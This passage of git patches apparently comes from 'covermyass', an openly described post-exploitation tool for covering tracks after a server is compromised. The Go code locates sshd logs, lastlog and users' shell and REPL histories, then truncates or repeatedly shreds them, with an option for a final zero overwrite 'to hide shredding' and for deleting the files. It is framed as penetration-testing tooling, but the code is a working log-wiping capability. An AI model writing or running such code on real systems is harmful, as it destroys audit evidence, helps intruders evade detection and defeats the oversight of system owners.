++++++++++++++++++++++++++++ lib/find/fileinfo.go | 15 ++++++- lib/find/finder.go | 16 ++++++-- lib/services/bash_history_service.go | 36 +++++++++++++++++ lib/services/init.go | 2 + lib/services/lastlog_service.go | 28 +++++++++++++ lib/services/services.go | 8 ++-- lib/services/sshd.go | 25 ------------ lib/services/sshd_service.go | 28 +++++++++++++ 11 files changed, 207 insertions(+), 80 deletions(-) create mode 100644 lib/analysis/analyzer.go create mode 100644 lib/services/bash_history_service.go create mode 100644 lib/services/lastlog_service.go delete mode 100644 lib/services/sshd.go create mode 100644 lib/services/sshd_service.go diff --git a/cmd/root.go b/cmd/root.go index a01eb37..da0419b 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -6,17 +6,14 @@ import ( "github.com/sundowndev/covermyass/v2/build" "github.com/sundowndev/covermyass/v2/lib/analysis" "github.com/sundowndev/covermyass/v2/lib/filter" - "github.com/sundowndev/covermyass/v2/lib/find" "github.com/sundowndev/covermyass/v2/lib/output" - "github.com/sundowndev/covermyass/v2/lib/services" - "log" "os" - "runtime" ) type RootCmdOptions struct { - List bool - Write bool + List bool + Write bool + ExcludeReadOnly bool //ExtraPaths []string //FilterRules []string } @@ -37,37 +34,18 @@ func NewRootCmd() *cobra.Command { output.ChangePrinter(output.NewConsolePrinter()) } - a := analysis.New() - - output.Printf("Loading known log files for %s\n", runtime.GOOS) - services.Init() - for _, service := range services.Services() { - patterns, ok := service.Paths()[runtime.GOOS] - if !ok { - continue - } - a.AddPatterns(patterns...) - } - filterEngine := filter.NewEngine() - finder := find.New(os.DirFS(""), filterEngine, a.Patterns()) - - output.Printf("Searching for log files...\n\n") - err := finder.Run() + analyzer := analysis.NewAnalyzer(filterEngine) + a, err := analyzer.Analyze() if err != nil { - log.Fatal(err) - } - - for _, info := range finder.Results() { - a.AddResult(analysis.Result{ - Path: info.Path(), - Size: info.Size(), - Mode: info.Mode(), - }) + return err } if opts.List { for _, result := range a.Results() { + if opts.ExcludeReadOnly && result.ReadOnly { + continue + } fmt.Println(result.Path) } return nil @@ -81,6 +59,7 @@ func NewRootCmd() *cobra.Command { cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation.") cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL truncate the files!") + cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list.") return cmd } diff --git a/lib/analysis/analysis.go b/lib/analysis/analysis.go index e69b83d..097839d 100644 --- a/lib/analysis/analysis.go +++ b/lib/analysis/analysis.go @@ -10,13 +10,14 @@ import ( type Summary struct { TotalFiles int TotalRWFiles int - TotalROFiles int } type Result struct { - Path string - Size int64 - Mode os.FileMode + Service string + Path string + Size int64 + Mode os.FileMode + ReadOnly bool } type Analysis struct { @@ -26,7 +27,7 @@ type Analysis struct { results []Result } -func New() *Analysis { +func NewAnalysis() *Analysis { return &Analysis{ Date: time.Now(), summary: Summary{}, @@ -35,17 +36,12 @@ func New() *Analysis { } } -func (a *Analysis) AddPatterns(patterns ...string) { - a.patterns = append(a.patterns, patterns...) -} - -func (a *Analysis) Patterns() []string { - return a.patterns -} - func (a *Analysis) AddResult(result Result) { a.results = append(a.results, result) a.summary.TotalFiles += 1 + if !result.ReadOnly { + a.summary.TotalRWFiles += 1 + } } func (a *Analysis) Results() []Result { @@ -57,17 +53,17 @@ func (a *Analysis) Write(w io.Writer) { _, _ = fmt.Fprintf(w, "Found the following files\n") for _, res := range a.results { - _, _ = fmt.Fprintf(w, "%s (%s)\n", res.Path, byteCountSI(res.Size)) + _, _ = fmt.Fprintf(w, "%s (%s, %s)\n", res.Path, byteCountSI(res.Size), res.Mode.String()) } _, _ = fmt.Fprintf(w, "\n") } _, _ = fmt.Fprintf( w, - "Summary\nFound %d files (%d RW, %d RO) in %s\n", + "Summary\nFound %d files (%d read-write, %d read-only) in %s\n", a.summary.TotalFiles, a.summary.TotalRWFiles, - a.summary.TotalROFiles, + a.summary.TotalFiles-a.summary.TotalRWFiles, time.Since(a.Date).Round(time.Millisecond).String(), ) } diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go new file mode 100644 index 0000000..decaabf --- /dev/null +++ b/lib/analysis/analyzer.go @@ -0,0 +1,60 @@ +package analysis + +import ( + "context" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/filter" + "github.com/sundowndev/covermyass/v2/lib/find" + "github.com/sundowndev/covermyass/v2/lib/output" + "github.com/sundowndev/covermyass/v2/lib/services" + "os" + "runtime" + "sync" +) + +type Analyzer struct { + filter filter.Filter +} + +func NewAnalyzer(filterEngine filter.Filter) *Analyzer { + return &Analyzer{filterEngine} +} + +func (a *Analyzer) Analyze() (*Analysis, error) { + analysis := NewAnalysis() + + output.Printf("Loading known log files for %s\n", runtime.GOOS) + services.Init() + output.Printf("Scanning file system...\n\n") + + wg := &sync.WaitGroup{} + m := &sync.Mutex{} + for _, service := range services.Services() { + wg.Add(1) + go func(svc services.Service) { + finder := find.New(os.DirFS(""), a.filter, svc.Paths()) + if err := finder.Run(context.TODO()); err != nil { + logrus.Error(err) + return + } + + m.Lock() + defer m.Unlock() + for _, info := range finder.Results() { + analysis.AddResult(Result{ + Service: svc.Name(), + Path: info.Path(), + Size: info.Size(), + Mode: info.Mode(), + ReadOnly: info.ReadOnly(), + }) + } + + wg.Done() + }(service) + } + + wg.Wait() + + return analysis, nil +} diff --git a/lib/find/fileinfo.go b/lib/find/fileinfo.go index 4f643b6..2b9ffbc 100644 --- a/lib/find/fileinfo.go +++ b/lib/find/fileinfo.go @@ -1,17 +1,30 @@ package find -import "io/fs" +import ( + "io/fs" + "os" +) type FileInfo interface { fs.FileInfo Path() string + ReadOnly() bool } type fileInfo struct { fs.FileInfo path string + ro bool } func (f *fileInfo) Path() string { return f.path } + +func (f *fileInfo) ReadOnly() bool { + _, err := os.OpenFile(f.path, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0666) + if err != nil { + f.ro = true + } + return f.ro +} diff --git a/lib/find/finder.go b/lib/find/finder.go index a2b294a..5a0f89b 100644 --- a/lib/find/finder.go +++ b/lib/find/finder.go @@ -1,6 +1,7 @@ package find import ( + "context" "fmt" "github.com/bmatcuk/doublestar/v4" "github.com/sirupsen/logrus" @@ -12,7 +13,7 @@ import ( ) type Finder interface { - Run() error + Run(context.Context) error Results() []FileInfo } @@ -32,16 +33,20 @@ func New(fsys fs.FS, filterEngine filter.Filter, paths []string) Finder { } } -func (f *finder) Run() error { +func (f *finder) Run(ctx context.Context) error { // Voluntary reset the results slice f.results = make([]FileInfo, 0) for _, pattern := range f.paths { if len(pattern) == 0 { - logrus.Warn("pattern skipped because it has lengh of 0") + logrus.Warn("pattern skipped because it has length of 0") continue } + if !doublestar.ValidatePathPattern(pattern) { + return fmt.Errorf("pattern %s is not valid", pattern) + } + var formattedPattern string if strings.Split(pattern, "")[0] == string(os.PathSeparator) { formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "") @@ -53,7 +58,10 @@ func (f *finder) Run() error { if err != nil { return err } - f.results = append(f.results, &fileInfo{info, fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path))}) + f.results = append(f.results, &fileInfo{ + FileInfo: info, + path: fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path)), + }) return nil }) if err != nil { diff --git a/lib/services/bash_history_service.go b/lib/services/bash_history_service.go new file mode 100644 index 0000000..c12efd8 --- /dev/null +++ b/lib/services/bash_history_service.go @@ -0,0 +1,36 @@ +package services + +import ( + "fmt" + "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/find" + "os" +) + +type ShellHistoryService struct{} + +func NewShellHistoryService() Service { + return &ShellHistoryService{} +} + +func (s *ShellHistoryService) Name() string { + return "shell_history" +} + +func (s *ShellHistoryService) Paths() []string { + homeDir, err := os.UserHomeDir() + if err != nil { + logrus.Error(err) + return []string{} + } + return []string{ + fmt.Sprintf("%s/.bash_history", homeDir), + fmt.Sprintf("%s/.zsh_history", homeDir), + fmt.Sprintf("%s/.node_repl_history", homeDir), + fmt.Sprintf("%s/.python_history", homeDir), + } +} + +func (s *ShellHistoryService) HandleFile(file find.FileInfo) error { + return os.Truncate(file.Path(), 0) +} diff --git a/lib/services/init.go b/lib/services/init.go index 27a0fbe..ad832cd 100644 --- a/lib/services/init.go +++ b/lib/services/init.go @@ -2,4 +2,6 @@ package services func Init() { AddService(NewSSHdService()) + AddService(NewLastLogService()) + AddService(NewShellHistoryService()) } diff --git a/lib/services/lastlog_service.go b/lib/services/lastlog_service.go new file mode 100644 index 0000000..1c17d24 --- /dev/null +++ b/lib/services/lastlog_service.go @@ -0,0 +1,28 @@ +//go:build !windows + +package services + +import ( + "github.com/sundowndev/covermyass/v2/lib/find" + "os" +) + +type LastLogService struct{} + +func NewLastLogService() Service { + return &LastLogService{} +} + +func (s *LastLogService) Name() string { + return "lastlog" +} + +func (s *LastLogService) Paths() []string { + return []string{ + "/var/log/lastlog", + } +} + +func (s *LastLogService) HandleFile(file find.FileInfo) error { + return os.Truncate(file.Path(), 0) +} diff --git a/lib/services/services.go b/lib/services/services.go index 42e79ba..15deeed 100644 --- a/lib/services/services.go +++ b/lib/services/services.go @@ -1,6 +1,8 @@ package services -import "os" +import ( + "github.com/sundowndev/covermyass/v2/lib/find" +) const ( Linux = "linux" @@ -12,8 +14,8 @@ var services []Service type Service interface { Name() string - Paths() map[string][]string - HandleFile(string, os.FileInfo) error + Paths() []string + HandleFile(find.FileInfo) error } func Services() []Service { diff --git a/lib/services/sshd.go b/lib/services/sshd.go deleted file mode 100644 index 5114aa9..0000000 --- a/lib/services/sshd.go +++ /dev/null @@ -1,25 +0,0 @@ -package services - -import "os" - -type SSHdService struct{} - -func NewSSHdService() Service { - return &SSHdService{} -} - -func (s *SSHdService) Name() string { - return "sshd" -} - -func (s *SSHdService) Paths() map[string][]string { - return map[string][]string{ - Linux: { - "/var/log/sshd.log", - }, - } -} - -func (s *SSHdService) HandleFile(path string, info os.FileInfo) error { - return os.Truncate(path, 0) -} diff --git a/lib/services/sshd_service.go b/lib/services/sshd_service.go new file mode 100644 index 0000000..d110fe2 --- /dev/null +++ b/lib/services/sshd_service.go @@ -0,0 +1,28 @@ +//go:build !windows + +package services + +import ( + "github.com/sundowndev/covermyass/v2/lib/find" + "os" +) + +type SSHdService struct{} + +func NewSSHdService() Service { + return &SSHdService{} +} + +func (s *SSHdService) Name() string { + return "sshd" +} + +func (s *SSHdService) Paths() []string { + return []string{ + "/var/log/sshd.log", + } +} + +func (s *SSHdService) HandleFile(file find.FileInfo) error { + return os.Truncate(file.Path(), 0) +} From ef36249ba7615f529dea0fed984cfd49c31741cf Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 1 Nov 2022 13:52:52 +0400 Subject: [PATCH 03/22] docs: command description --- README.md | 2 +- cmd/root.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index eba1bbf..3ef1b6a 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ ### About -Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. +Covermyass is a post-exploitation tool to cover your tracks on various operating systems (Linux, Darwin, Windows, ...). It was designed for penetration testing "covering tracks" phase, before exiting the infected server. At any time, you can run the tool to find which log files exists on the system, then run again later to erase those files. The tool will tell you which file can be erased with the current user permissions. Files are overwritten repeatedly with random data, in order to make it harder for even very expensive hardware probing to recover the data. ## Installation diff --git a/cmd/root.go b/cmd/root.go index da0419b..181a1b6 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -23,7 +23,7 @@ func NewRootCmd() *cobra.Command { cmd := &cobra.Command{ Use: "covermyass", Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.", - Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", + Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Files are overwritten multiple times with random data, in order to make it harder for even very expensive hardware probing to recover the data. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", Example: "covermyass --write -p /db/*.log\n" + "covermyass --list -p /db/**/*.log", Version: build.String(), From b742b75b8bf847d264632b5ec69033ff64f4f566 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 1 Nov 2022 14:28:11 +0400 Subject: [PATCH 04/22] add bin folder --- .gitignore | 3 ++- bin/.gitkeep | 0 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 bin/.gitkeep diff --git a/.gitignore b/.gitignore index cfdd07c..f4c1397 100644 --- a/.gitignore +++ b/.gitignore @@ -4,7 +4,8 @@ *.dll *.so *.dylib -/bin +bin/* +!bin/.gitkeep # Test binary, built with `go test -c` *.test diff --git a/bin/.gitkeep b/bin/.gitkeep new file mode 100644 index 0000000..e69de29 From d4f3a89f6220d185874fbaa4bf9b2776f8544e8f Mon Sep 17 00:00:00 2001 From: sundowndev Date: Tue, 1 Nov 2022 14:28:27 +0400 Subject: [PATCH 05/22] feat: add missing cli flags --- cmd/root.go | 16 +++++++++++----- lib/find/fileinfo.go | 8 ++------ 2 files changed, 13 insertions(+), 11 deletions(-) diff --git a/cmd/root.go b/cmd/root.go index 181a1b6..849eeff 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -12,8 +12,11 @@ import ( type RootCmdOptions struct { List bool - Write bool ExcludeReadOnly bool + Write bool + Zero bool + Iterations int + Unlink bool //ExtraPaths []string //FilterRules []string } @@ -25,7 +28,7 @@ func NewRootCmd() *cobra.Command { Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.", Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Files are overwritten multiple times with random data, in order to make it harder for even very expensive hardware probing to recover the data. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", Example: "covermyass --write -p /db/*.log\n" + - "covermyass --list -p /db/**/*.log", + "covermyass --write -z -n 5", Version: build.String(), RunE: func(cmd *cobra.Command, args []string) error { if opts.List { @@ -57,9 +60,12 @@ func NewRootCmd() *cobra.Command { }, } - cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation.") - cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL truncate the files!") - cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list.") + cmd.PersistentFlags().BoolVarP(&opts.List, "list", "l", false, "Show files in a simple list format. This will prevent any write operation") + cmd.PersistentFlags().BoolVar(&opts.Write, "write", false, "Erase found log files. This WILL shred the files!") + cmd.PersistentFlags().BoolVar(&opts.ExcludeReadOnly, "no-read-only", false, "Exclude read-only files in the list. Must be used with --list") + cmd.PersistentFlags().BoolVarP(&opts.Zero, "zero", "z", false, "Add a final overwrite with zeros to hide shredding") + cmd.PersistentFlags().IntVarP(&opts.Iterations, "iterations", "n", 3, "Overwrite N times instead of the default") + cmd.PersistentFlags().BoolVarP(&opts.Unlink, "unlink", "u", false, "Deallocate and remove file after overwriting") return cmd } diff --git a/lib/find/fileinfo.go b/lib/find/fileinfo.go index 2b9ffbc..b58eed9 100644 --- a/lib/find/fileinfo.go +++ b/lib/find/fileinfo.go @@ -14,7 +14,6 @@ type FileInfo interface { type fileInfo struct { fs.FileInfo path string - ro bool } func (f *fileInfo) Path() string { @@ -22,9 +21,6 @@ func (f *fileInfo) Path() string { } func (f *fileInfo) ReadOnly() bool { - _, err := os.OpenFile(f.path, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0666) - if err != nil { - f.ro = true - } - return f.ro + _, err := os.OpenFile(f.path, os.O_RDWR, 0666) + return err != nil } From 44b801f14a15f8cadfd6e03b45edd1803f748442 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 15:26:15 +0400 Subject: [PATCH 06/22] refactor: rename services to checks --- lib/analysis/analysis.go | 3 +- lib/analysis/analyzer.go | 14 +++++----- .../bash_history_check.go} | 14 +++++----- lib/check/init.go | 7 +++++ lib/check/lastlog_check.go | 28 +++++++++++++++++++ lib/{services => check}/services.go | 14 +++++----- lib/check/sshd_check.go | 28 +++++++++++++++++++ lib/services/init.go | 7 ----- lib/services/lastlog_service.go | 28 ------------------- lib/services/sshd_service.go | 28 ------------------- 10 files changed, 86 insertions(+), 85 deletions(-) rename lib/{services/bash_history_service.go => check/bash_history_check.go} (62%) create mode 100644 lib/check/init.go create mode 100644 lib/check/lastlog_check.go rename lib/{services => check}/services.go (54%) create mode 100644 lib/check/sshd_check.go delete mode 100644 lib/services/init.go delete mode 100644 lib/services/lastlog_service.go delete mode 100644 lib/services/sshd_service.go diff --git a/lib/analysis/analysis.go b/lib/analysis/analysis.go index 097839d..c43a3c8 100644 --- a/lib/analysis/analysis.go +++ b/lib/analysis/analysis.go @@ -2,6 +2,7 @@ package analysis import ( "fmt" + "github.com/sundowndev/covermyass/v2/lib/check" "io" "os" "time" @@ -13,7 +14,7 @@ type Summary struct { } type Result struct { - Service string + Check check.Check Path string Size int64 Mode os.FileMode diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go index decaabf..75e362b 100644 --- a/lib/analysis/analyzer.go +++ b/lib/analysis/analyzer.go @@ -3,10 +3,10 @@ package analysis import ( "context" "github.com/sirupsen/logrus" + "github.com/sundowndev/covermyass/v2/lib/check" "github.com/sundowndev/covermyass/v2/lib/filter" "github.com/sundowndev/covermyass/v2/lib/find" "github.com/sundowndev/covermyass/v2/lib/output" - "github.com/sundowndev/covermyass/v2/lib/services" "os" "runtime" "sync" @@ -24,15 +24,15 @@ func (a *Analyzer) Analyze() (*Analysis, error) { analysis := NewAnalysis() output.Printf("Loading known log files for %s\n", runtime.GOOS) - services.Init() + check.Init() output.Printf("Scanning file system...\n\n") wg := &sync.WaitGroup{} m := &sync.Mutex{} - for _, service := range services.Services() { + for _, c := range check.GetAllChecks() { wg.Add(1) - go func(svc services.Service) { - finder := find.New(os.DirFS(""), a.filter, svc.Paths()) + go func(c check.Check) { + finder := find.New(os.DirFS(""), a.filter, c.Paths()) if err := finder.Run(context.TODO()); err != nil { logrus.Error(err) return @@ -42,7 +42,7 @@ func (a *Analyzer) Analyze() (*Analysis, error) { defer m.Unlock() for _, info := range finder.Results() { analysis.AddResult(Result{ - Service: svc.Name(), + Check: c, Path: info.Path(), Size: info.Size(), Mode: info.Mode(), @@ -51,7 +51,7 @@ func (a *Analyzer) Analyze() (*Analysis, error) { } wg.Done() - }(service) + }(c) } wg.Wait() diff --git a/lib/services/bash_history_service.go b/lib/check/bash_history_check.go similarity index 62% rename from lib/services/bash_history_service.go rename to lib/check/bash_history_check.go index c12efd8..1920a10 100644 --- a/lib/services/bash_history_service.go +++ b/lib/check/bash_history_check.go @@ -1,4 +1,4 @@ -package services +package check import ( "fmt" @@ -7,17 +7,17 @@ import ( "os" ) -type ShellHistoryService struct{} +type shellHistoryCheck struct{} -func NewShellHistoryService() Service { - return &ShellHistoryService{} +func NewShellHistoryCheck() Check { + return &shellHistoryCheck{} } -func (s *ShellHistoryService) Name() string { +func (s *shellHistoryCheck) Name() string { return "shell_history" } -func (s *ShellHistoryService) Paths() []string { +func (s *shellHistoryCheck) Paths() []string { homeDir, err := os.UserHomeDir() if err != nil { logrus.Error(err) @@ -31,6 +31,6 @@ func (s *ShellHistoryService) Paths() []string { } } -func (s *ShellHistoryService) HandleFile(file find.FileInfo) error { +func (s *shellHistoryCheck) HandleFile(file find.FileInfo) error { return os.Truncate(file.Path(), 0) } diff --git a/lib/check/init.go b/lib/check/init.go new file mode 100644 index 0000000..1f0a984 --- /dev/null +++ b/lib/check/init.go @@ -0,0 +1,7 @@ +package check + +func Init() { + AddCheck(NewSSHdCheck()) + AddCheck(NewLastLogCheck()) + AddCheck(NewShellHistoryCheck()) +} diff --git a/lib/check/lastlog_check.go b/lib/check/lastlog_check.go new file mode 100644 index 0000000..0ff6fee --- /dev/null +++ b/lib/check/lastlog_check.go @@ -0,0 +1,28 @@ +//go:build !windows + +package check + +import ( + "github.com/sundowndev/covermyass/v2/lib/find" + "os" +) + +type lastLogCheck struct{} + +func NewLastLogCheck() Check { + return &lastLogCheck{} +} + +func (s *lastLogCheck) Name() string { + return "lastlog" +} + +func (s *lastLogCheck) Paths() []string { + return []string{ + "/var/log/lastlog", + } +} + +func (s *lastLogCheck) HandleFile(file find.FileInfo) error { + return os.Truncate(file.Path(), 0) +} diff --git a/lib/services/services.go b/lib/check/services.go similarity index 54% rename from lib/services/services.go rename to lib/check/services.go index 15deeed..89cc97d 100644 --- a/lib/services/services.go +++ b/lib/check/services.go @@ -1,4 +1,4 @@ -package services +package check import ( "github.com/sundowndev/covermyass/v2/lib/find" @@ -10,18 +10,18 @@ const ( Windows = "windows" ) -var services []Service +var checks []Check -type Service interface { +type Check interface { Name() string Paths() []string HandleFile(find.FileInfo) error } -func Services() []Service { - return services +func GetAllChecks() []Check { + return checks } -func AddService(s Service) { - services = append(services, s) +func AddCheck(s Check) { + checks = append(checks, s) } diff --git a/lib/check/sshd_check.go b/lib/check/sshd_check.go new file mode 100644 index 0000000..54524ac --- /dev/null +++ b/lib/check/sshd_check.go @@ -0,0 +1,28 @@ +//go:build !windows + +package check + +import ( + "github.com/sundowndev/covermyass/v2/lib/find" + "os" +) + +type sshdCheck struct{} + +func NewSSHdCheck() Check { + return &sshdCheck{} +} + +func (s *sshdCheck) Name() string { + return "sshd" +} + +func (s *sshdCheck) Paths() []string { + return []string{ + "/var/log/sshd.log", + } +} + +func (s *sshdCheck) HandleFile(file find.FileInfo) error { + return os.Truncate(file.Path(), 0) +} diff --git a/lib/services/init.go b/lib/services/init.go deleted file mode 100644 index ad832cd..0000000 --- a/lib/services/init.go +++ /dev/null @@ -1,7 +0,0 @@ -package services - -func Init() { - AddService(NewSSHdService()) - AddService(NewLastLogService()) - AddService(NewShellHistoryService()) -} diff --git a/lib/services/lastlog_service.go b/lib/services/lastlog_service.go deleted file mode 100644 index 1c17d24..0000000 --- a/lib/services/lastlog_service.go +++ /dev/null @@ -1,28 +0,0 @@ -//go:build !windows - -package services - -import ( - "github.com/sundowndev/covermyass/v2/lib/find" - "os" -) - -type LastLogService struct{} - -func NewLastLogService() Service { - return &LastLogService{} -} - -func (s *LastLogService) Name() string { - return "lastlog" -} - -func (s *LastLogService) Paths() []string { - return []string{ - "/var/log/lastlog", - } -} - -func (s *LastLogService) HandleFile(file find.FileInfo) error { - return os.Truncate(file.Path(), 0) -} diff --git a/lib/services/sshd_service.go b/lib/services/sshd_service.go deleted file mode 100644 index d110fe2..0000000 --- a/lib/services/sshd_service.go +++ /dev/null @@ -1,28 +0,0 @@ -//go:build !windows - -package services - -import ( - "github.com/sundowndev/covermyass/v2/lib/find" - "os" -) - -type SSHdService struct{} - -func NewSSHdService() Service { - return &SSHdService{} -} - -func (s *SSHdService) Name() string { - return "sshd" -} - -func (s *SSHdService) Paths() []string { - return []string{ - "/var/log/sshd.log", - } -} - -func (s *SSHdService) HandleFile(file find.FileInfo) error { - return os.Truncate(file.Path(), 0) -} From 04c1ca78379cf94d498a78db6123a643cc05b77e Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 15:37:00 +0400 Subject: [PATCH 07/22] refactor: create init function for each check --- cmd/root.go | 9 +++++++-- lib/analysis/analyzer.go | 3 +-- lib/check/bash_history_check.go | 4 ++++ lib/check/init.go | 7 ------- lib/check/lastlog_check.go | 4 ++++ lib/check/sshd_check.go | 4 ++++ 6 files changed, 20 insertions(+), 11 deletions(-) delete mode 100644 lib/check/init.go diff --git a/cmd/root.go b/cmd/root.go index 849eeff..c3c5d28 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -27,8 +27,13 @@ func NewRootCmd() *cobra.Command { Use: "covermyass", Short: "Post-exploitation tool for covering tracks on Linux, Darwin and Windows.", Long: "Covermyass is a post-exploitation tool for pen-testers that finds then erases log files on the current machine. The tool scans the filesystem and look for known log files that can be erased. Files are overwritten multiple times with random data, in order to make it harder for even very expensive hardware probing to recover the data. Running this tool with root privileges is safe and even recommended to avoid access permission errors. This tool does not perform any network call.", - Example: "covermyass --write -p /db/*.log\n" + - "covermyass --write -z -n 5", + Example: ` +Overwrite log files as well as those found by path /db/*.log +covermyass --write -p /db/*.log + +Overwrite log files 5 times with a final overwrite with zeros to hide shredding +covermyass --write -z -n 5 +`, Version: build.String(), RunE: func(cmd *cobra.Command, args []string) error { if opts.List { diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go index 75e362b..22a30af 100644 --- a/lib/analysis/analyzer.go +++ b/lib/analysis/analyzer.go @@ -23,8 +23,7 @@ func NewAnalyzer(filterEngine filter.Filter) *Analyzer { func (a *Analyzer) Analyze() (*Analysis, error) { analysis := NewAnalysis() - output.Printf("Loading known log files for %s\n", runtime.GOOS) - check.Init() + output.Printf("Loaded known log files for %s\n", runtime.GOOS) output.Printf("Scanning file system...\n\n") wg := &sync.WaitGroup{} diff --git a/lib/check/bash_history_check.go b/lib/check/bash_history_check.go index 1920a10..7a3bf90 100644 --- a/lib/check/bash_history_check.go +++ b/lib/check/bash_history_check.go @@ -34,3 +34,7 @@ func (s *shellHistoryCheck) Paths() []string { func (s *shellHistoryCheck) HandleFile(file find.FileInfo) error { return os.Truncate(file.Path(), 0) } + +func init() { + AddCheck(NewShellHistoryCheck()) +} diff --git a/lib/check/init.go b/lib/check/init.go deleted file mode 100644 index 1f0a984..0000000 --- a/lib/check/init.go +++ /dev/null @@ -1,7 +0,0 @@ -package check - -func Init() { - AddCheck(NewSSHdCheck()) - AddCheck(NewLastLogCheck()) - AddCheck(NewShellHistoryCheck()) -} diff --git a/lib/check/lastlog_check.go b/lib/check/lastlog_check.go index 0ff6fee..e702c0f 100644 --- a/lib/check/lastlog_check.go +++ b/lib/check/lastlog_check.go @@ -26,3 +26,7 @@ func (s *lastLogCheck) Paths() []string { func (s *lastLogCheck) HandleFile(file find.FileInfo) error { return os.Truncate(file.Path(), 0) } + +func init() { + AddCheck(NewLastLogCheck()) +} diff --git a/lib/check/sshd_check.go b/lib/check/sshd_check.go index 54524ac..b13a758 100644 --- a/lib/check/sshd_check.go +++ b/lib/check/sshd_check.go @@ -26,3 +26,7 @@ func (s *sshdCheck) Paths() []string { func (s *sshdCheck) HandleFile(file find.FileInfo) error { return os.Truncate(file.Path(), 0) } + +func init() { + AddCheck(NewSSHdCheck()) +} From 5f20de76b9c492164ef1306ac33ad09e5dbe0f41 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 17:29:51 +0400 Subject: [PATCH 08/22] feat: init shred lib --- cmd/root.go | 20 ++++ go.mod | 3 +- go.sum | 5 +- lib/analysis/analyzer.go | 7 +- lib/check/{services.go => checks.go} | 0 lib/find/finder.go | 36 +++--- lib/shred/shred.go | 113 +++++++++++++++++++ lib/shred/shred_test.go | 159 +++++++++++++++++++++++++++ lib/shred/testdata/protected.log | 0 mocks/File.go | 95 ++++++++++++++++ mocks/FileInfo.go | 117 ++++++++++++++++++++ 11 files changed, 528 insertions(+), 27 deletions(-) rename lib/check/{services.go => checks.go} (100%) create mode 100644 lib/shred/shred.go create mode 100644 lib/shred/shred_test.go create mode 100644 lib/shred/testdata/protected.log create mode 100644 mocks/File.go create mode 100644 mocks/FileInfo.go diff --git a/cmd/root.go b/cmd/root.go index c3c5d28..6f956f0 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -2,11 +2,13 @@ package cmd import ( "fmt" + "github.com/sirupsen/logrus" "github.com/spf13/cobra" "github.com/sundowndev/covermyass/v2/build" "github.com/sundowndev/covermyass/v2/lib/analysis" "github.com/sundowndev/covermyass/v2/lib/filter" "github.com/sundowndev/covermyass/v2/lib/output" + "github.com/sundowndev/covermyass/v2/lib/shred" "os" ) @@ -61,6 +63,24 @@ covermyass --write -z -n 5 a.Write(os.Stdout) + if opts.Write { + shredOptions := &shred.ShredderOptions{ + Zero: opts.Zero, + Iterations: opts.Iterations, + Unlink: opts.Unlink, + } + s := shred.New(shredOptions) + for _, result := range a.Results() { + logrus. + WithField("path", result.Path). + Debug("Shredding file") + if err := s.Write(result.Path); err != nil { + return fmt.Errorf("error writing file %s: %e", result.Path, err) + } + } + fmt.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations) + } + return nil }, } diff --git a/go.mod b/go.mod index 6d82100..ba3f863 100644 --- a/go.mod +++ b/go.mod @@ -6,7 +6,7 @@ require ( github.com/bmatcuk/doublestar/v4 v4.2.0 github.com/sirupsen/logrus v1.9.0 github.com/spf13/cobra v1.6.0 - github.com/stretchr/testify v1.8.0 + github.com/stretchr/testify v1.8.1 ) require ( @@ -14,6 +14,7 @@ require ( github.com/inconshreveable/mousetrap v1.0.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/spf13/pflag v1.0.5 // indirect + github.com/stretchr/objx v0.5.0 // indirect golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/go.sum b/go.sum index 1d50960..425f557 100644 --- a/go.sum +++ b/go.sum @@ -17,10 +17,13 